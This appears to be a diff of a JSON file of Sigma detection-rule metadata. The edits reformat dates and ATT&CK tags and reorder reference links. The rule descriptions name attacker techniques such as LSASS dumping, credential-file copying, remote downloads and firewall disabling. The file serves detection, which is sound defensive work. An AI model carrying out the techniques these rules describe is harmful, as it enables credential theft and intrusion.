"2023-07-06", "falsepositive": [ "Unknown" ], @@ -29816,7 +29823,7 @@ "description": "Detects suspicious child processes of the SQLServer process. This could indicate potential RCE or SQL Injection.", "meta": { "author": "FPT.EagleEye Team, wagga", - "creation_date": "2020/12/11", + "creation_date": "2020-12-11", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_mssql_susp_child_process.yml", "level": "high", @@ -29829,9 +29836,9 @@ "tags": [ "attack.t1505.003", "attack.t1190", - "attack.initial_access", + "attack.initial-access", "attack.persistence", - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "related": [ @@ -29857,7 +29864,7 @@ "description": "Detects execution of the \"mofcomp\" utility as a child of a suspicious shell or script running utility or by having a suspicious path in the commandline.\nThe \"mofcomp\" utility parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository.\nAttackers abuse this utility to install malicious MOF scripts\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/12", + "creation_date": "2022-07-12", "falsepositive": [ "Unknown" ], @@ -29872,7 +29879,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mofcomp_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -29892,7 +29899,7 @@ "description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/30", + "creation_date": "2021-08-30", "falsepositive": [ "Unknown" ], @@ -29905,8 +29912,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ieinstal.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -29926,7 +29933,7 @@ "description": "Detects uncommon child processes of Appvlp.EXE\nAppvlp or the Application Virtualization Utility is included with Microsoft Office. Attackers are able to abuse \"AppVLP\" to execute shell commands.\nNormally, this binary is used for Application Virtualization, but it can also be abused to circumvent the ASR file path rule folder\nor to mark a file as a system file.\n", "meta": { "author": "Sreeman", - "creation_date": "2020/03/13", + "creation_date": "2020-03-13", "falsepositive": [ "Unknown" ], @@ -29940,7 +29947,7 @@ ], "tags": [ "attack.t1218", - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution" ] }, @@ -29960,7 +29967,7 @@ "description": "Detects a suspicious process spawning from one of the Microsoft Office suite products (Word, Excel, PowerPoint, Publisher, Visio, etc.)", "meta": { "author": "Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io", - "creation_date": "2018/04/06", + "creation_date": "2018-04-06", "falsepositive": [ "Unknown" ], @@ -29969,21 +29976,21 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e", - "https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/", - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set", - "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", - "https://github.com/splunk/security_content/blob/develop/detections/endpoint/office_spawning_control.yml", - "https://www.vmray.com/analyses/2d2fa29185ad/report/overview.html", - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", "https://twitter.com/andythevariable/status/1576953781581144064?s=20&t=QiJILvK4ZiBdR8RJe24u-A", + "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set", + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/", + "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e", "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/defense_evasion_execution_msbuild_started_by_office_app.toml", + "https://github.com/splunk/security_content/blob/develop/detections/endpoint/office_spawning_control.yml", + "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", + "https://www.vmray.com/analyses/2d2fa29185ad/report/overview.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_susp_child_processes.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1047", "attack.t1204.002", @@ -30020,7 +30027,7 @@ "description": "Detects execution of the \"cloudflared\" tool with the tunnel \"cleanup\" flag in order to cleanup tunnel connections.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/17", + "creation_date": "2023-05-17", "falsepositive": [ "Legitimate usage of Cloudflared." ], @@ -30029,12 +30036,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/cloudflare/cloudflared", "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps", + "https://github.com/cloudflare/cloudflared", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cloudflared_tunnel_cleanup.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1102", "attack.t1090", "attack.t1572" @@ -30070,7 +30077,7 @@ "description": "Detects usage of \"IMEWDBLD.exe\" to download arbitrary files", "meta": { "author": "Swachchhanda Shrawan Poudel", - "creation_date": "2023/11/09", + "creation_date": "2023-11-09", "falsepositive": [ "Unknown" ], @@ -30084,7 +30091,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_imewbdld_download.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1218" ] @@ -30105,7 +30112,7 @@ "description": "Detects specific combinations of encoding methods in PowerShell via the commandline", "meta": { "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", - "creation_date": "2020/10/11", + "creation_date": "2020-10-11", "falsepositive": [ "Unknown" ], @@ -30118,7 +30125,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_encoding_patterns.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -30147,7 +30154,7 @@ "description": "Detects suspicious execution of 'Msbuild.exe' by a uncommon parent process", "meta": { "author": "frack113", - "creation_date": "2022/11/17", + "creation_date": "2022-11-17", "falsepositive": [ "Unknown" ], @@ -30161,7 +30168,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msbuild_susp_parent_process.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "33be4333-2c6b-44f4-ae28-102cdbde0a31", @@ -30171,7 +30178,7 @@ "description": "Detects execution of Microsoft bash launcher with the \"-c\" flag.\nThis can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash.\n", "meta": { "author": "frack113", - "creation_date": "2021/11/24", + "creation_date": "2021-11-24", "falsepositive": [ "Unknown" ], @@ -30184,7 +30191,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bash_command_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -30204,7 +30211,7 @@ "description": "Detect execution of suspicious double extension files in ParentCommandLine", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/06", + "creation_date": "2023-01-06", "falsepositive": [ "Unknown" ], @@ -30218,7 +30225,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension_parent.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.007" ] }, @@ -30238,7 +30245,7 @@ "description": "Detects execution of netsh with the \"advfirewall\" and the \"set\" option in order to set new values for properties of a existing rule", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/07/18", + "creation_date": "2023-07-18", "falsepositive": [ "Legitimate administration activity", "Software installations and removal" @@ -30252,7 +30259,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_set_rule.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "a70dcb37-3bee-453a-99df-d0c683151be6", @@ -30262,7 +30269,7 @@ "description": "Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line.", "meta": { "author": "Wojciech Lesicki", - "creation_date": "2021/06/01", + "creation_date": "2021-06-01", "falsepositive": [ "Unknown" ], @@ -30272,12 +30279,12 @@ "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", - "https://www.cobaltstrike.com/help-windows-executable", "https://redcanary.com/threat-detection-report/", + "https://www.cobaltstrike.com/help-windows-executable", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_load_by_rundll32.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.011" ] }, @@ -30297,7 +30304,7 @@ "description": "Files with well-known filenames (sensitive files with credential data) copying", "meta": { "author": "Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/22", + "creation_date": "2019-10-22", "falsepositive": [ "Copying sensitive files for legitimate use (eg. backup) or forensic investigation by legitimate incident responder or forensic investigator." ], @@ -30306,14 +30313,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/blob/2cc01b01132b5c304027a658c698ae09dd6a92bf/yml/OSBinaries/Esentutl.yml", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://room362.com/post/2013/2013-06-10-volume-shadow-copy-ntdsdit-domain-hashes-remotely-part-1/", - "https://github.com/LOLBAS-Project/LOLBAS/blob/2cc01b01132b5c304027a658c698ae09dd6a92bf/yml/OSBinaries/Esentutl.yml", "https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_sensitive_file_copy.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.002", "attack.t1003.003", "car.2013-07-001", @@ -30343,7 +30350,7 @@ "description": "Detects the execution of WMIC to query information on a remote system", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/14", + "creation_date": "2023-02-14", "falsepositive": [ "Unknown" ], @@ -30352,8 +30359,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", + "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_execution.yml" ], "tags": [ @@ -30377,7 +30384,7 @@ "description": "Detects the presence of the \"u202+E\" character, which causes a terminal, browser, or operating system to render text in a right-to-left sequence.\nThis is used as an obfuscation and masquerading techniques.\n", "meta": { "author": "Micah Babinski, @micahbabinski", - "creation_date": "2023/02/15", + "creation_date": "2023-02-15", "falsepositive": [ "Commandlines that contains scriptures such as arabic or hebrew might make use of this character" ], @@ -30386,13 +30393,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://unicode-explorer.com/c/202E", "https://www.malwarebytes.com/blog/news/2014/01/the-rtlo-method", + "https://unicode-explorer.com/c/202E", "https://redcanary.com/blog/right-to-left-override/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_right_to_left_override.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.002" ] }, @@ -30412,7 +30419,7 @@ "description": "Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/04/15", + "creation_date": "2017-04-15", "falsepositive": [ "Unknown" ], @@ -30426,7 +30433,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_control_dll_load.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.011" ] }, @@ -30446,7 +30453,7 @@ "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", - "creation_date": "2022/02/13", + "creation_date": "2022-02-13", "falsepositive": [ "Legitimate use" ], @@ -30459,7 +30466,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_gotoopener.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -30479,7 +30486,7 @@ "description": "Detects the execution of WMIC in order to get a list of firewall and antivirus products", "meta": { "author": "Michael Haag, Florian Roth (Nextron Systems), juju4, oscd.community", - "creation_date": "2023/02/14", + "creation_date": "2023-02-14", "falsepositive": [ "Unknown" ], @@ -30514,7 +30521,7 @@ "description": "Detects the creation of a schtask that potentially executes a base64 encoded payload stored in the Windows Registry using PowerShell.", "meta": { "author": "pH-T (Nextron Systems), @Kostastsale, @TheDFIRReport, X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/02/12", + "creation_date": "2022-02-12", "falsepositive": [ "Unlikely" ], @@ -30556,7 +30563,7 @@ "description": "Detects various execution patterns of the CrackMapExec pentesting framework", "meta": { "author": "Thomas Patzke", - "creation_date": "2020/05/22", + "creation_date": "2020-05-22", "falsepositive": [ "Unknown" ], @@ -30614,7 +30621,7 @@ "description": "Detects regsvr32 execution to download and install DLLs located remotely where the address is an IP address.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/01/11", + "creation_date": "2022-01-11", "falsepositive": [ "FQDNs that start with a number such as \"7-Zip\"" ], @@ -30623,13 +30630,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/", "https://twitter.com/mrd0x/status/1461041276514623491", "https://twitter.com/tccontre18/status/1480950986650832903", + "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_http_ip_pattern.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.010" ] }, @@ -30649,7 +30656,7 @@ "description": "Detects usage of SoftPerfect's \"netscan.exe\". An application for scanning networks.\nIt is actively used in-the-wild by threat actors to inspect and understand the network architecture of a victim.\n", "meta": { "author": "@d4ns4n_ (Wuerth-Phoenix)", - "creation_date": "2024/04/25", + "creation_date": "2024-04-25", "falsepositive": [ "Legitimate administrator activity" ], @@ -30658,13 +30665,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.protect.airbus.com/blog/uncovering-cyber-intruders-netscan/", - "https://research.nccgroup.com/2022/07/13/climbing-mount-everest-black-byte-bytes-back/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue", - "https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/", "https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/", "https://www.softperfect.com/products/networkscanner/", + "https://www.protect.airbus.com/blog/uncovering-cyber-intruders-netscan/", "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf", + "https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/", + "https://research.nccgroup.com/2022/07/13/climbing-mount-everest-black-byte-bytes-back/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_netscan.yml" ], "tags": [ @@ -30688,7 +30695,7 @@ "description": "Detects the execution of System Informer, a task manager tool to view and manipulate processes, kernel options and other low level operations", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2023/05/08", + "creation_date": "2023-05-08", "falsepositive": [ "System Informer is regularly used legitimately by system administrators or developers. Apply additional filters accordingly" ], @@ -30702,9 +30709,9 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.discovery", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1082", "attack.t1564", "attack.t1543" @@ -30740,7 +30747,7 @@ "description": "Detects suspicious UTF16 and base64 encoded and often obfuscated PowerShell code often used in command lines", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/07/11", + "creation_date": "2022-07-11", "falsepositive": [ "Unknown" ], @@ -30753,7 +30760,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_encoded_obfusc.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "8d01b53f-456f-48ee-90f6-bc28e67d4e35", @@ -30763,7 +30770,7 @@ "description": "Detects execution of WinRAR in order to compress a file with a \".dmp\"/\".dump\" extension, which could be a step in a process of dump file exfiltration.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/01/04", + "creation_date": "2022-01-04", "falsepositive": [ "Legitimate use of WinRAR with a command line in which \".dmp\" or \".dump\" appears accidentally", "Legitimate use of WinRAR to compress WER \".dmp\" files for troubleshooting" @@ -30797,7 +30804,7 @@ "description": "Detects usage of bitsadmin downloading a file", "meta": { "author": "Michael Haag, FPT.EagleEye", - "creation_date": "2017/03/09", + "creation_date": "2017-03-09", "falsepositive": [ "Some legitimate apps use this, but limited." ], @@ -30806,13 +30813,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://isc.sans.edu/diary/22264", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1197", "attack.s0190", @@ -30842,7 +30849,7 @@ "description": "Detects attempts to disable the Windows Firewall using PowerShell", "meta": { "author": "Tim Rauch, Elastic (idea)", - "creation_date": "2022/09/14", + "creation_date": "2022-09-14", "falsepositive": [ "Unknown" ], @@ -30855,7 +30862,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_disable_firewall.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562" ] }, @@ -30875,7 +30882,7 @@ "description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0", "meta": { "author": "Harish Segar (rule)", - "creation_date": "2020/03/20", + "creation_date": "2020-03-20", "falsepositive": [ "Unknown" ], @@ -30889,7 +30896,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_downgrade_attack.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1059.001" ] @@ -30910,7 +30917,7 @@ "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Unknown" ], @@ -30923,7 +30930,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_clip.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -30952,7 +30959,7 @@ "description": "An adversary might use WMI to check if a certain remote service is running on a remote device.\nWhen the test completes, a service information will be displayed on the screen if it exists.\nA common feedback message is that \"No instance(s) Available\" if the service queried is not running.\nA common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" if the provided remote host is unreachable\n", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/14", + "creation_date": "2023-02-14", "falsepositive": [ "Unknown" ], @@ -30986,7 +30993,7 @@ "description": "Extexport.exe loads dll and is execute from other folder the original path", "meta": { "author": "frack113", - "creation_date": "2021/11/26", + "creation_date": "2021-11-26", "falsepositive": [ "Unknown" ], @@ -30999,7 +31006,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extexport.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -31019,7 +31026,7 @@ "description": "Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)", "meta": { "author": "Julia Fomina, oscd.community", - "creation_date": "2020/10/08", + "creation_date": "2020-10-08", "falsepositive": [ "Legitimate use of Pester for writing tests for Powershell scripts and modules" ], @@ -31028,14 +31035,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/Oddvarmoe/status/993383596244258816", "https://github.com/api0cradle/LOLBAS/blob/d148d278f5f205ce67cfaf49afdfb68071c7252a/OSScripts/pester.md", + "https://twitter.com/Oddvarmoe/status/993383596244258816", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pester_1.yml" ], "tags": [ "attack.execution", "attack.t1059.001", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1216" ] }, @@ -31062,7 +31069,7 @@ "description": "Detects the use of the RunXCmd tool to execute commands with System or TrustedInstaller accounts", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/01/24", + "creation_date": "2022-01-24", "falsepositive": [ "Legitimate use by administrators" ], @@ -31097,7 +31104,7 @@ "description": "Detects potentially suspicious file downloads directly from IP addresses and stored in suspicious locations using Wget.exe", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/02/23", + "creation_date": "2024-02-23", "falsepositive": [ "Unknown" ], @@ -31120,7 +31127,7 @@ "description": "Detects usage of a base64 encoded \"FromBase64String\" cmdlet in a process command line", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/08/24", + "creation_date": "2019-08-24", "falsepositive": [ "Unknown" ], @@ -31133,7 +31140,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_frombase64string.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1140", "attack.execution", "attack.t1059.001" @@ -31162,7 +31169,7 @@ "description": "Detects when a program changes the default file association of any extension to an executable.\nWhen a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/28", + "creation_date": "2022-06-28", "falsepositive": [ "Unknown" ], @@ -31195,7 +31202,7 @@ "description": "Detects suspicious and uncommon child processes of WmiPrvSE", "meta": { "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng, Florian Roth (Nextron Systems)", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -31204,15 +31211,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/", - "https://twitter.com/ForensicITGuy/status/1334734244120309760", "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/", "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://twitter.com/ForensicITGuy/status/1334734244120309760", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmiprvse_susp_child_processes.yml" ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1047", "attack.t1204.002", "attack.t1218.010" @@ -31248,7 +31255,7 @@ "description": "Detects usage of cmdkey to look for cached credentials on the system", "meta": { "author": "jmallette, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "Legitimate administrative tasks" ], @@ -31257,13 +31264,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation", "https://github.com/redcanaryco/atomic-red-team/blob/b27a3cb25025161d49ac861cb216db68c46a3537/atomics/T1003.005/T1003.005.md#atomic-test-1---cached-credential-dump-via-cmdkey", + "https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation", "https://technet.microsoft.com/en-us/library/cc754243(v=ws.11).aspx", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdkey_recon.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.005" ] }, @@ -31283,7 +31290,7 @@ "description": "Detects an attempt to execute code or create service on remote host via winrm.vbs.", "meta": { "author": "Julia Fomina, oscd.community", - "creation_date": "2020/10/07", + "creation_date": "2020-10-07", "falsepositive": [ "Unknown" ], @@ -31292,13 +31299,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/bohops/status/994405551751815170", "https://redcanary.com/blog/lateral-movement-winrm-wmi/", "https://lolbas-project.github.io/lolbas/Scripts/Winrm/", + "https://twitter.com/bohops/status/994405551751815170", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrm_execution_via_scripting_api_winrm_vbs.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1216" ] }, @@ -31318,7 +31325,7 @@ "description": "Detects potential credential dumping via Windows Error Reporting LSASS Shtinkering technique which uses the Windows Error Reporting to dump lsass", "meta": { "author": "@pbssubhash , Nasreddine Bencherchali", - "creation_date": "2022/12/08", + "creation_date": "2022-12-08", "falsepositive": [ "Windows Error Reporting might produce similar behavior. In that case, check the PID associated with the \"-p\" parameter in the CommandLine." ], @@ -31327,12 +31334,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf", "https://github.com/deepinstinct/Lsass-Shtinkering", + "https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_werfault_lsass_shtinkering.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -31352,7 +31359,7 @@ "description": "Ntvdm.exe allows the execution of 16-bit Windows applications on 32-bit Windows operating systems, as well as the execution of both 16-bit and 32-bit DOS applications", "meta": { "author": "frack113", - "creation_date": "2022/07/16", + "creation_date": "2022-07-16", "falsepositive": [ "Legitimate use" ], @@ -31361,14 +31368,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://support.microsoft.com/fr-fr/topic/an-ms-dos-based-program-that-uses-the-ms-dos-protected-mode-interface-crashes-on-a-computer-that-is-running-windows-7-5dc739ea-987b-b458-15e4-d28d5cca63c7", "https://app.any.run/tasks/93fe92fa-8b2b-4d92-8c09-a841aed2e793/", - "https://app.any.run/tasks/214094a7-0abc-4a7b-a564-1b757faed79d/", "https://learn.microsoft.com/en-us/windows/compatibility/ntvdm-and-16-bit-app-support", - "https://support.microsoft.com/fr-fr/topic/an-ms-dos-based-program-that-uses-the-ms-dos-protected-mode-interface-crashes-on-a-computer-that-is-running-windows-7-5dc739ea-987b-b458-15e4-d28d5cca63c7", + "https://app.any.run/tasks/214094a7-0abc-4a7b-a564-1b757faed79d/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_16bit_application.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "16905e21-66ee-42fe-b256-1318ada2d770", @@ 